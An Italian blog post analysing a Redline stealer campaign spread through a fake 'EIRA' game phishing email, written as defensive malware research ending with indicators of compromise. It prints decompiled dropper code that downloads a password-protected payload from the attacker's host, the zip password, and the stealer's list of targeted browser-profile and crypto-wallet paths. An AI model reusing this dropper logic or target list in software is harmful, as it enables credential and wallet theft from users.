Analisi di un Malware Redline

Negli ultimi mesi si sono moltiplicati i tentativi di diffondere malware tramite alcuni programmi all’apparenza “innocui”, attraendo l’utente attraverso premi come l’invio di denaro con criptovaluta oppure regali a tema NFT. L’utente ignaro, eseguendo un “innocentissimo” eseguibile per accedere ai premi, diventa parte di una botnet.

In questo post, vorrei analizzare in maniera abbastanza dettagliata la campagna malware “Redline-EDIRA” che si protrae da circa inizio Maggio 2022. Affronteremo diverse sfide che l’analista alle prime armi deve affrontare e vedremo inoltre come gli attaccanti hanno utilizzato diversi espedienti per rendere difficile il reverse engineering.

Diffusione tramite Phishing

In un tranquillo pomeriggio, arriva una nuova e-mail con oggetto “ACCESS TO PAID ALPHATEST “EIRA” Project”. Eira project? Non mi dice nulla; pensando fosse la solita persona che chiede l’inutile feedback riguardo il suo progetto, decido di non aprirla. La curiosità è tale che dopo un paio di ore, scarico l’e-mail e decido di aprirla in un ambiente sandboxed (non si sa mai!).

L’e-mail riguarda la partecipazione ad un test per un gioco chiamato “EIRA”. Nella email, mi dicevano che sono stato fortunato perché tra moltissime altre persone sono stato sorteggiato proprio io! Avevo poi la chance di vincere alcuni premi unici come NFT di 500 copie e pagamenti in ETH/USDT/LTC per ogni capitolo della storia sbloccato.

L’e-mail dopo invitava a scaricare subito il client, stando attenti all’atto della registrazione a porre un determinato codice univoco che era contenuto all’interno dell’e-mail. Nel footer poi c’erano un paio di contatti offer@playeira.online e @cmo_sam_playeira su Telegram.

La questione è diventata molto interessante: ci sono troppe red flag per non ignorare questa e-mail! Quindi ho preferito andare a fondo della questione e cliccare sul pulsante “Join NOW!”.

Il sito web

Il sito web presenta un gioco chiamato Eira, un open world ambientato in un mondo chiamato “Kauldron”. In questo gioco è presente una ragazza di 15 anni che è alle prese con mille sfide dopo aver ereditato un magic shop da sua nonna, Eira. Il videogioco è stato sviluppato ufficialmente da Gearonin Studio, un team di sviluppatori indie proveniente da Taiwan ed è attualmente disponibile sullo Steam store.

Sito web fake di Eira game

Schermata del sito web

All’interno del sito web vengono presentate le varie possibilità che un giocatore ha: si possono vincere preziosissimi NFT oppure premi in denaro per ogni capitolo di gioco sbloccato. L’ultima parte invita l’utente a registrarsi tramite una e-mail, una password e il codice contenuto nell’e-mail di phishing. A parte la grafica, l’esperienza utente non poteva sicuramente dire molto sulla truffa.

Una veloce visita al codice sorgente del sito web mostra che la pagina è stata costruita con ReactJS e il server che gestisce le pagine è Nginx 1.18.0 . Notare che l’attaccante lascia il manifest di default all’interno del sito web: l’ennesima red-flag. Proseguiamo con simulare il comportamento tipico dell’utente, banalmente questo si traduce in cliccare il bottone join now e applicare il codice. Viene presentato il seguente modale con un link ad un eseguibile:

Modale per scaricare il client

Modale che appare dopo aver inserito il codice

Molto interessante! Dobbiamo scaricare l’eseguibile (EiraLauncher.exe) per poter eseguire il gioco e vincere i premi promessi. Poco male direbbe l’utente tipico, ma l’esperienza dimostra che dietro questi eseguibili di solito ci sia un malware. Approfondendo ancora di più all’interno della pagina web, possiamo notare come i codici d’accesso siano stati codificati in chiaro.

// Lista di codice codificati
h = ["WI9S9IE2", "YAICLZ8T", "ZLZI6N1X", "Z3C3HFA5", "7WV6A9NC", "BC44FY1", "Y7WNG94", "F3L182D", "P7G8TU4", "W24FEZX", "T62TUWX", "54DGA7K", "TBN640M", "D0UF4AQ", "ZMF00QA", "SE2490A", "B0AEP84", "MP139AP", "U72GH81", "KF041LR", "HW4316K", "GE8131P", "S84TPAA", "OW43BNC", "WKCQK82", "BNXTG7K", "AA004RT", "XGP889T", "WUSHQ01", "DTO63Y8", "HO8BQQ2", "RQ9SEW2", "YT03EW2", "JX13H51", "SKN9617", "YVNS6G3", "NT3T17R", "N2R81EP", "XQ4KSV9"]
m = ["BC44FY1", "F3L182D", "Y7WNG94", "P7G8TU4", "W24FEZX", "T62TUWX", "54DGA7K", "TBN640M", "D0UF4AQ", "ZMF00QA", "SE2490A", "B0AEP84", "MP139AP", "U72GH81", "KF041LR", "HW4316K", "GE8131P", "S84TPAA", "OW43BNC", "WKCQK82", "BNXTG7K", "AA004RT", "XGP889T", "WUSHQ01", "DTO63Y8", "HO8BQQ2", "RQ9SEW2", "YT03EW2", "JX13H51", "SKN9617", "YVNS6G3", "NT3T17R", "N2R81EP", "XQ4KSV9"]

73 codici diversi per 73 indirizzi e-mail diversi. Strano pensare che un’azienda lasci i codici per accedere al gioco in chiaro: non trovate? Le diverse red flag incominciano ad aumentare la nostra curiosità. Non perdiamo quindi altro tempo e iniziamo subito il reverse engineering del binario.

Il launcher

Scarichiamo quindi EiraLauncher.exe (sha256: b39c855c613f65221ed5d33b3b2e7e74c27ce1afff02a6505103d3ca99d4ec0c) per poter proseguire l’analisi, notiamo subito che EiraLauncher.exe pesa 158 Mb. La dimensione del file non è tale da farci preoccupare: possiamo supporre infatti che al suo interno ci siano le risorse del gioco compresse.

Abbiamo due diverse strade da poter intraprendere al momento: proseguire con l’analisi dinamica, eseguendo in un ambiente protetto direttamente il programma, oppure possiamo effettuare l’analisi statica, andando ad effettuare un’azione di reverse engineering sul programma. Dal momento che il binario è oltre la dimensione massima delle sandbox online come Any.run e non avendo risorse a disposizione per farmi una macchina virtuale, decidiamo di effettuare una prima analisi statica.

Il file è un eseguibile Windows PE classico. Evidenziamo subito il campo checksum dell’intestazione COFF impostato a 0 e il timestamp, seppur non sempre accurato, mostra come il programma sia stato compilato il 16 giugno 2022. L’analisi sulle sezioni non evidenzia alcuna caratteristica particolare: il binario contiene tutte sezioni standard (in dettaglio .text, .rdata, .data, .pdata). Proseguiamo. Estrapolando gli imports, possiamo notare come il programma utilizzi alcune funzioni di “anti-debugging” (IsDebuggerPresent, IsProcessorFeaturePresent) per controllare se siamo all’interno di un ambiente sandbox oppure no. Un altro import ShellExecute desta ulteriori sospetti dato che il programma è in grado ad eseguire comandi.

La sezione risorse invece è più interessante. Sono presenti solo 4 risorse, di cui 2 manifest e icone. Dal momento che il programma è abbastanza pesante, aspettavamo di averne molte molte di più (magari con immagini, video e altri dati per far funzionare il gioco). È arrivato il momento di approfondire che tipo di file sono inclusi all’interno del binario.

Il migliore strumento per scoprire se il binario PE contiene altri tipi di file si chiama binwalk ed è diventato oramai standard de facto per l’analisi dei firmware. L’alternativa sarebbe controllare manualmente ogni sequenza di magic byte all’interno del binario, ma binwalk risulta molto più comodo. Avviamo quindi binwalk specificando il file EiraLauncher.exe.

binwalk EiraLauncher.exe
162560        0x27B00         Copyright string: "Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED."
210203        0x3351B         XML document, version: "1.0"
217058        0x34FE2         Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved."
226139        0x3735B         Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved.Stapel Semi Expanded BoldStapel Semi Expanded Bold"
371180        0x5A9EC         Copyright string: "Copyright (c) <2012>, <Natanael Gama> (<www.ndiscovered.com | info@ndiscovered.com>),"
372575        0x5AF5F         Copyright string: "Copyright"
372776        0x5B028         Copyright string: "copyright statement(s)."
372895        0x5B09F         Copyright string: "Copyright Holder(s)."
373844        0x5B454         Copyright string: "copyright notice and this license. These can be"
374245        0x5B5E5         Copyright string: "Copyright Holder. This restriction only applies to the primary font name as"
374368        0x5B660         Copyright string: "Copyright Holder(s) or the Author(s) of the Font"
374548        0x5B714         Copyright string: "Copyright Holder(s) and the Author(s) or with their explicit written"
448218        0x6D6DA         Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved."
457219        0x6FA03         Copyright string: "Copyright (c) 2020 Paratype, Inc., ParaType Ltd. All rights reserved.Stapel Expanded BoldStapel Expanded Bold"
603748        0x93664         Microsoft executable, portable (PE)
609570        0x94D22         Copyright string: "CopyrightAttribute"
616308        0x96774         PNG image, 96 x 96, 8-bit/color RGBA, non-interlaced
618375        0x96F87         Zlib compressed data, default compression
629723        0x99BDB         PNG image, 3840 x 1900, 8-bit/color RGB, non-interlaced
629814        0x99C36         Zlib compressed data, compressed
6942916       0x69F0C4        PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
6942970       0x69F0FA        Zlib compressed data, default compression
7169862       0x6D6746        PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
7171417       0x6D6D59        Zlib compressed data, default compression
7400267       0x70EB4B        PNG image, 834 x 438, 8-bit/color RGBA, non-interlaced
7401822       0x70F15E        Zlib compressed data, default compression
7630062       0x746CEE        PNG image, 963 x 156, 8-bit/color RGBA, non-interlaced
7698163       0x7576F3        PNG image, 502 x 739, 8-bit/color RGBA, non-interlaced
7698217       0x757729        Zlib compressed data, default compression
7963360       0x7982E0        PNG image, 502 x 739, 8-bit/color RGBA, non-interlaced
7963414       0x798316        Zlib compressed data, default compression
8196061       0x7D0FDD        PNG image, 618 x 756, 8-bit/color RGBA, non-interlaced
8197601       0x7D15E1        Zlib compressed data, default compression
8749951       0x85837F        XML document, version: "1.0"
8754151       0x8593E7        Microsoft executable, portable (PE)
8958473       0x88B209        Copyright string: "CopyrightAttribute"
9542639       0x919BEF        Object signature in DER format (PKCS header length: 4, sequence length: 10141
9542780       0x919C7C        Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
9544319       0x91A27F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
9546891       0x91AC8B        Object signature in DER format (PKCS header length: 4, sequence length: 5889
9547287       0x91AE17        Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
9549103       0x91B52F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
9552791       0x91C397        Microsoft executable, portable (PE)
9885777       0x96D851        Copyright string: "CopyrightAttribute"
10753439      0xA4159F        Object signature in DER format (PKCS header length: 4, sequence length: 10141
10753580      0xA4162C        Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
10755119      0xA41C2F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
10757691      0xA4263B        Object signature in DER format (PKCS header length: 4, sequence length: 5889
10758087      0xA427C7        Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
10759903      0xA42EDF        Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
10763591      0xA43D47        Microsoft executable, portable (PE)
10767016      0xA44AA8        Copyright string: "CopyrightAttribute"
10770767      0xA4594F        Object signature in DER format (PKCS header length: 4, sequence length: 10141
10770908      0xA459DC        Certificate in DER format (x509 v3), header length: 4, sequence length: 1535
10772447      0xA45FDF        Certificate in DER format (x509 v3), header length: 4, sequence length: 1914
10775019      0xA469EB        Object signature in DER format (PKCS header length: 4, sequence length: 5889
10775415      0xA46B77        Certificate in DER format (x509 v3), header length: 4, sequence length: 1812
10777231      0xA4728F        Certificate in DER format (x509 v3), header length: 4, sequence length: 1905
10780919      0xA480F7        Microsoft executable, portable (PE)
[....]

Oltre a diversi file come certificati e stringhe di copyright, all’interno del client ci sono molti file binari PE. Questo indica che il client probabilmente è un dropper, una sorta di archivio auto-estraente che dopo aver appurato di non essere in un ambiente di testing scompatta e scrive i file binari per il malware vero e proprio.

Non ci resta che manualmente estrarre i file binari. È un lavoro abbastanza noioso, ma con un po’ di skill di bash/go è possibile automatizzare l’estrazione. Utilizziamo in questo caso l’utility dd:

dd if=EiraLauncher.exe of=name_binary_output.exe bs=1 skip=offset_i count=offset_difference

dove:

  • l’opzione if specifica il file di input;
  • l’opzione of specifica il file di output;
  • l’opzione bs definisce la dimensione del blocco da saltare, dal momento che lavoriamo con offset, definiamo la dimensione del blocco come 1 byte;
  • l’opzione skip permette di specificare quanti blocchi vogliamo saltare; dipende da che offset prendete per binwalk.
  • l’opzione count permette di specificare quanti blocchi vogliamo prendere;

Dato che lo strumento di analisi statica ci ha permesso di capire che le sezioni del file PE “globale” non vanno oltre un certo offset, possiamo ipotizzare di avere una serie di file PE uno dietro l’altro. Per esempio, per estrarre il primo, possiamo eseguire questo comando:

dd if=EiraLauncher.exe of=first_binary.exe bs=1 skip=603748 count=8150403

Una volta che abbiamo estratto tutti i binari, recuperiamo solo quelli più interessanti. Siamo interessati a decompilare i binari che si interfacciano e mostrano interazione con l’utente, ovvero quelli GUI.

Ricordiamo che tutti i file basati su PE possono essere eseguibili, file di libreria (DLL) o driver kernel/user space. È possibile discriminare i file PE in base ad alcuni campi presenti nell’intestazione PE come il campo Characteristics che indica la presenza o meno di alcune flag.

Utilizziamo il comando file *. Solamente il primo binario corrisponde alla nostra ricerca: notiamo inoltre che è un file Mono/.NET quindi molto probabilmente è stato compilato tramite .NET. Tutti gli altri file sono file di libreria DLL di Dot.net che vengono inclusi staticamente nel binario per evitare problemi di compatibilità tra piattaforme.

Reverse engineering del dropper

Per effettuare l’azione di reverse engineering, possiamo utilizzare ILSpy, un potente decompilatore che permette di effettuare il reverse engineering per binari compilati attraverso .NET.

Apriamo ILSpy e carichiamo il primo binario che abbiamo estratto dal file globale. Di seguito abbiamo un dump della sezione Assembly del binario dot net. Troviamo il nome dello studio che ha sviluppato il gioco originale (come copyright), possiamo trovare anche il nome del file EIRA Launcher.

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(/*Could not decode attribute arguments.*/)]
[assembly: ThemeInfo(/*Could not decode attribute arguments.*/)]
[assembly: AssemblyAssociatedContentFile("assets/fonts/stapel-semi-expanded-bold.otf")]
[assembly: AssemblyAssociatedContentFile("assets/fonts/cinzel-regular.otf")]
[assembly: AssemblyAssociatedContentFile("assets/fonts/stapel-expanded-bold.otf")]
[assembly: AssemblyAssociatedContentFile("icon.ico")]
[assembly: TargetFramework(".NETCoreApp,Version=v3.1", FrameworkDisplayName = "")]
[assembly: AssemblyCompany("EIRA Launcher")]
[assembly: AssemblyConfiguration("Release")]
[assembly: AssemblyCopyright("2021 - 2022. GEARONIN STUDIO.")]
[assembly: AssemblyFileVersion("2.7.11.0")]
[assembly: AssemblyInformationalVersion("2.7.11")]
[assembly: AssemblyProduct("EIRA Launcher")]
[assembly: AssemblyTitle("EIRA Launcher")]
[assembly: AssemblyVersion("2.7.11.0")]

Quello che a noi interessa è capire da dove inizia l’esecuzione. In questo caso, l’entrypoint è EIRA_Launcher.App.Main. Decompiliamo la classe App.Main e scopriamo che essa richiama la classe MainWindow. Nuovamente decompiliamo la classe MainWindow che si occupa di creare la nuova finestra.

La classe MainWindow si occupa di costruire la vista (ovvero l’interfaccia grafica da mostrare all’utente) e di definire le interazioni tra gli elementi grafici. Ad esempio, se esiste un bottone, la classe definisce la logica del programma (tradotto: cosa deve fare il programma) quando il bottone viene premuto. Siamo interessati in particolare ad un bottone in programma: “Install” definito dal metodo OnClickInstallButton.

 0private void OnClickInstallButton(object sender, RoutedEventArgs e){
 1	FolderBrowserDialog val = new FolderBrowserDialog();
 2	val.set_Description("Select the folder in which you want to install the game");
 3	if ((int)((CommonDialog)val).ShowDialog() == 1)
 4	{
 5		Directory.CreateDirectory(val.get_SelectedPath() + "\\EIRA Game");
 6		Directory.CreateDirectory(_filePath);
 7		InstallButtonImage.set_Source((ImageSource)new BitmapImage(new Uri("pack://application:,,,/Assets/Images/disabled_playbutton.png")));
 8		((UIElement)InstallButton).set_IsEnabled(false);
 9		((UIElement)barBackground).set_Visibility((Visibility)0);
10		((UIElement)barProgress).set_Visibility((Visibility)0);
11		((UIElement)barLabel).set_Visibility((Visibility)0);
12		WebClient val2 = new WebClient();
13		try
14		{
15			val2.add_DownloadFileCompleted(new AsyncCompletedEventHandler(WebClient_DownloadFileCompleted));
16			val2.DownloadFileAsync(new Uri("http://eiragame[.]com/eiragame/eira.zip"), _filePath + "\\temp.zip");
17		}
18		finally
19		{
20			((System.IDisposable)val2)?.Dispose();
21		}
22		_timer.set_Interval(800);
23		_timer.set_Enabled(true);
24		_timer.add_Tick(new EventHandler(OnTimerTick));
25		_timer.Start();
26	}
27}

Quando l’utente preme sul bottone “Installa” vengono eseguite le seguenti azioni:

Linea di codiceDescrizione
1-2Il programma chiede all’utente dove vuole installare il gioco, aprendo una nuova finestra chiamata FolderBrowserDialog. L’utente deve selezionare una cartella.
3-11Il programma crea una nuova cartella chiamata EIRA Game all’interno della path selezionata dall’utente. Imposta il bottone “Install” come bottone disabilitato e nasconde tutti gli altri bottoni presenti nella vista.
12-21Il programma scarica il file presente all’indirizzo http://eiragame[.]com/eiragame/eira.zip nella cartella definita dalla variabile _filePath.
22-27Viene creato un nuovo timer prima di poter effettuare altre operazioni sul file zip.

All’interno della classe MainWindow, è stato definito il percorso _filePath:

private string _filePath = Environment.GetFolderPath((SpecialFolder)26) + "\\InternetCache\\EOSOverlay\\BrowserCache\\blob_storage\\72034298-6c55-4cae-bde5-b013ff6304f8";

Il percorso è composto dalla concatenazione della cartella AppData e \\InternetCache\\EOSOverlay\\BrowserCache\\blob_storage\\72034298-6c55-4cae-bde5-b013ff6304f8. Non è un percorso casuale dato che è il percorso in cui il client di Steam scarica tutti i dati del gioco Eira. Un utente non interessato a Eira potrebbe mettere la cartella di destinazione inaccessibile cosicché qualsiasi scrittura sulla cartella fallirebbe, interrompendo l’attività malevola.

Quindi, il file eira.zip viene scaricato all’interno del percorso _filePath. Cosa succede però dopo che è finito il download? Siamo interessati ad un altro metodo, in particolare WebClient_DownloadFileCompleted.

private void WebClient_DownloadFileCompleted(object sender, AsyncCompletedEventArgs e){
	ZipFile val = new ZipFile(_filePath + "\\temp.zip");
	try
	{
		val.add_ExtractProgress((EventHandler<ExtractProgressEventArgs>)Archive_ExtractProgress);
		val.set_Password("z4dY0aN8m1#");
		val.set_Encryption((EncryptionAlgorithm)3);
		val.ExtractAll(_filePath, (ExtractExistingFileAction)1);
	}
	finally
	{
		((System.IDisposable)val)?.Dispose();
	}
}

Scopriamo che la password per aprire il file zip http://eiragame[.]com/eiragame/eira.zip è z4dY0aN8m1#. Qual è il senso di avere una password per un file zip? Ostacolare eventualmente chi vorrà intraprendere la segnalazione all’hosting. Molti provider assicurano tolleranza zero per chi distribuisce malware o contenuto malevolo: un file zip di per sé non è malevolo e se protetto da una password, non costituisce un problema. Il problema sta nel verificare il contenuto di un file zip protetto da una password, senza saperla: praticamente quasi “impossibile”.

Un’altra variabile consente di prevedere il contenuto del file zip: un file chiamato MicrosoftRuntimeComponents.exe.

MicrosoftRuntimeComponents.exe

Il file http://eiragame[.]com/eiragame/eira.zip pesa circa 1 mb, mentre l’eseguibile MicrosoftRuntimeComponents.exe ne pesa circa 914 mb! Anche qui gli attaccanti hanno deciso di riempire il file binario per aumentarne la dimensione ed evitare che analisti in erba potessero caricare il binario su piattaforme tipo any.run.

Gli attaccanti hanno sottovalutato due principali aspetti. Il primo: un qualsiasi analista può semplicemente caricare il file zip su any.run, estrarre il binario con la password ed eseguirlo. Due: l’analista “medio” ha sempre una macchina virtuale pronta per poter eseguire malware.

In questo caso, approfondiamo la parte di analisi dinamica. Abbiamo una macchina virtuale con la versione trial di Windows 10, possiamo intercettare i pacchetti con WireShark, possiamo esplorare le varie chiamate API tramite Process Explorer e molto altro. Non ci basta che avviare l’eseguibile e sperare per il meglio.

Avviamo l’eseguibile e aspettiamo: non succede nulla. Nè process explorer, né WireShark mi notificano di niente. Il programma si è messo in attesa per un certo numero di secondi (250 secondi per la precisione). Dopo circa qualche minuto, il programma ha incominciato con chiamate remote e alle API. Perché il programma ha aspettato prima di poter eseguire il codice malevolo? Sempre per evitare che analisi principianti potessero analizzare i malware in sandbox online, dove il malware è eseguito fino a 5-10 minuti prima di essere fermato. Se un programma infatti non effettua alcuna azione malevola e scade il tempo, allora il programma è considerato sicuro.

Il programma MicrosoftRuntimeComponents esegue le seguenti azioni:

  • Controlla le lingue supportate del sistema operativo. Se la lingua è diversa da inglese, allora il malware non viene eseguito.
  • Legge il nome del dispositivo, utile per capire se siamo all’interno di una sandbox online
  • Controlla se è stato attivato la protezione LSA che consente di ostacolare eventuali attaccanti per il recupero della password di utenti locali.

A questo punto, il malware interroga un server remoto di Command&Control e notifica che è pronto per eseguire qualsiasi comando il server impartisca. Siamo quindi di fronte ad un malware di tipo RAT (Remote Access Tool) utilizzato per alimentare - con molta probabilità - una botnet.

Il client inizia la connessione comunicando al server quale porta ha aperto. Il server può così incominciare a scambiare dati con il client. Inizialmente c’è una fase di controllo: il client comunica un certo id per autenticarsi con il server e il server risponde con il risultato. Questo serve per eliminare eventuali client “farlocchi” utilizzati magari come esche contro gli attaccanti.

Il client richiede al server se ci sono comandi da eseguire. Il server risponde con un primo comando che consente al server di cercare:

  • chiavi private memorizzate come file
  • password memorizzate nei browser
  • chiavi private di portafogli come Monero, Exodus, Coinomi
.3%USERPROFILE%\AppData\Local\Coowon\Coowon\User DataF..,%USERPROFILE%\AppData\Local\liebao\User DataF...%USERPROFILE%\AppData\Local\QIP Surf\User DataF..-%USERPROFILE%\AppData\Local\Orbitum\User DataF..3%USERPROFILE%\AppData\Local\Comodo\Dragon\User
DataF..0%USERPROFILE%\AppData\Local\Amigo\User\User DataF..+%USERPROFILE%\AppData\Local\Torch\User DataF..:%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User DataF..,%USERPROFILE%\AppData\Local\Comodo\User DataF..8%USERPROFILE%\AppData\Local\360Browser\Browser\User DataF...%USERPROFILE%\AppData\Local\Maxthon3\User DataF..
-%USERPROFILE%\AppData\Local\K-Melon\User DataF..5%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User DataF...%USERPROFILE%\AppData\Local\Nichrome\User DataF..4%USERPROFILE%\AppData\Local\CocCoc\Browser\User DataF..*%USERPROFILE%\AppData\Local\Uran\User DataF...%USERPROFILE%\AppData\Local\Chromodo\User DataF..2%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User DataF..A%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User DataF..4%USERPROFILE%\AppData\Local\Microsoft\Edge\User DataF..H%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce ExperienceF..!%USERPROFILE%\AppData\Local\SteamF..7%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data.E...c.F..-%USERPROFILE%\AppData\Roaming\Mozilla\FirefoxF..&%USERPROFILE%\AppData\Roaming\WaterfoxF..&%USERPROFILE%\AppData\Roaming\K-MeleonF..)%USERPROFILE%\AppData\Roaming\ThunderbirdF...%USERPROFILE%\AppData\Roaming\Comodo\IceDragonF..3%USERPROFILE%\AppData\Roaming\8pecxstudios\CyberfoxF..;%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHawF..=%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale Moon.E.E!E...ArmoryE#..%appdata%E%E'E...ArmoryE#..*.walletE%....E!E...AtomicE#.
.%appdata%E%E'E...atomicE#..*E%....E!E...BinanceE#..%appdata%E%E'E...BinanceE#..*app-store*E%....E!E...CoinomiE#..%localappdata%E%E'E...Coinomi\Coinomi\CacheE#..*E%..E'E...Coinomi\Coinomi\dbE#..*E%..E'E...Coinomi\Coinomi\walletsE#..*E%....E!E...ElectrumE#..%appdata%E%E'E...Electrum\walletsE#..*E%....E!E...EthereumE#..%appdata%E%E'E...Ethereum\walletsE#..*E%....E!E...ExodusE#..%appdata%E%E'E...Exodus\exodus.walletE#..*E%..E'E...ExodusE#..*.jsonE%....E!E...GuardaE#..%appdata%E%E'E...GuardaE#..*E%....E!E...JaxxE#..%appdata%E%E'E...com.liberty.jaxxE#..*E%....E!E...MoneroE#..%userprofile%\DocumentsE%E'E...Monero\walletsE#..*E%.....E)...ffnbelfdoeiohenkjibnmadjiehjhajb|YoroiWallet

Effettuando una prima analisi statica molto veloce, ho potuto constatare la presenza di un certo settore delle istruzioni che è risultato molto simile ad un’altra classe di malware. Stiamo parlando di Redline, un malware stealer che sono soliti essere dentro crack di alcuni software; il loro scopo è quello di rubare più informazioni possibili. Password, dati, informazioni come documenti, immagini e file dell’utente.

Redline risulta essere un prodotto molto allettante per alcuni attaccanti in erba: gli sviluppatori di Redline hanno creato diversi piani di abbonamento che consente a chiunque di creare la propria versione di Redline e creare una campagna (da 100 dollari fino ad un massimo di 1000 per più mesi). Gli autori del malware risultano molto attivi nei forum specializzati che rivendono le informazioni rubate da Redline ad altri attaccanti per effettuare un attacco più mirato.

Per quanto riguarda invece la conclusione della campagna, abbiamo compilato alcuni abuse form e contattato le aziende che fornivano host e reverse proxy (come Cloudflare) per cercare quantomeno di arginare il fenomeno. Il dominio al momento non risulta raggiungibile e i server ad essi connessi sembrano essere andati in down.

IoC

Di seguito una serie di informazioni che possono essere immesse per cercare di bloccare eventuali file correlati alla campagna.

Binari:

  • Eiralauncher.exe - sha256: b39c855c613f65221ed5d33b3b2e7e74c27ce1afff02a6505103d3ca99d4ec0c
  • MicrosoftRuntimeLauncher.exe - sha256: 9d9746992d3aae9f9f102dd27f95533372d57504d8576491c6b43467d7c6f7e3

Domini:

  • eiragame.com
  • eiragame.online

IP:

  • 167.235.134.202